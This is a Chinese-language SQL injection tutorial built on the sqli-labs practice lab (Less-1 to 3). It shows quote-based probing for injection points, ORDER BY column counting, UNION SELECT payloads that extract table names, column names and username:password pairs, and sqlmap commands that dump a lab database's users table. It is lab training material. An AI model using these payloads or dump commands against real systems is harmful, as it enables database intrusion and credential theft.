目录
1.SQL注入的分类
根据注入为数据类型可将sql注入分为数字型和字符型。
数字型
例如
select *from table where id = 用户输入id
字符型
例如
select * from table where id = '用户输入id
'
2.get基于报错的sql注入发现
通过在url中修改对应的id值,为正常数字、打数字、字符(单引号、双引号、双单引号、括号)、反斜杠 \ 来探测url中是否存在注入点。
那么我们可以利用sqllilabs的less1到3题来看看 get基于报错的sql注入
然后我们输入5
输入10
10也有,那我们输入15
发现15没有,那我们输入14
发现,14有,
测这种有多少的方法很简单,可以按1,5,10,15这样叠加上去,如果遇到没有的,那就与上一个数取半来继续 ,
比如 输入10有,15没有,那就输入13,如果十三有可以试试14。
那么在14后门加个单引号
报错,存在注入点,好吧。
sql语句的话可以是
select login_name,password from admin where id = 'id' limit 0,1
这个admin的表不一定是存在的,这里只是假设有这个表。
看看第二个
加上单引号一样报错,
sql语句为
select login_name,password from admin where id = id limit 0,1
可以看出id加不加单引号括起来是看 limit0,1那里的,这就是字符串和数字类型了
看到第三题
发现有俩个单引号还有一个单括号,那么sql语句可以为
select login_name,password from admin where id =('id') limit 0,1
然后试试
) --+
来闭合、注释,发现过了
其实不用+号 加上%20也是可以的,也就是空格
3.get基于报错的sql注入利用
1.利用order by 判断字段数。
测试5和4时都报错,显示 Unknown column '4' in 'order clause' 发现3是对的,那么我们可以得出当前内容有三个字段,
2.利用union select 联合查询,获取表名。
0' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
然后
这里改成0,然后显示的是,用的是第二个字段的name,第三个字段的password。
那么我们可以改一下
一个显示它的版本,一个显示他的数据库
那么我们就可以用上面的语句来测试,
3.利用union select联合查询,获取字段名。
0' union select 1, group_concat(column_name),3 from information_schema.columns where table_name='users'--+
4.利用union select 联合查询,获取字段值。
0' union select 1, group_concat(username,0x3a,password),3 from users--+
那么这里就获取出来了当前数据库中所有的name和password。
4.利用sqlmap测试
用sqlmap对漏洞进行漏洞探测:
sqlmap -u 'http://192.168.0.105/sqli/Less-1/?id=1' --dbs --batch
可以看到这有七个数据库。然后我们要看看security这个数据库
┌──(root💀bt)-[~]
└─# sqlmap -u 'http://192.168.0.105/sqli/Less-1/?id=1' -D security --tables --batch
然后看users这个表
┌──(root💀bt)-[~]
└─# sqlmap -u 'http://192.168.0.105/sqli/Less-1/?id=1' -D security -T users --columns --batch
然后把它们显示出来
┌──(root💀bt)-[~]
└─# sqlmap -u 'http://192.168.0.105/sqli/Less-1/?id=1' -D security -T users -C 'username,password' --dump --batch
搞完!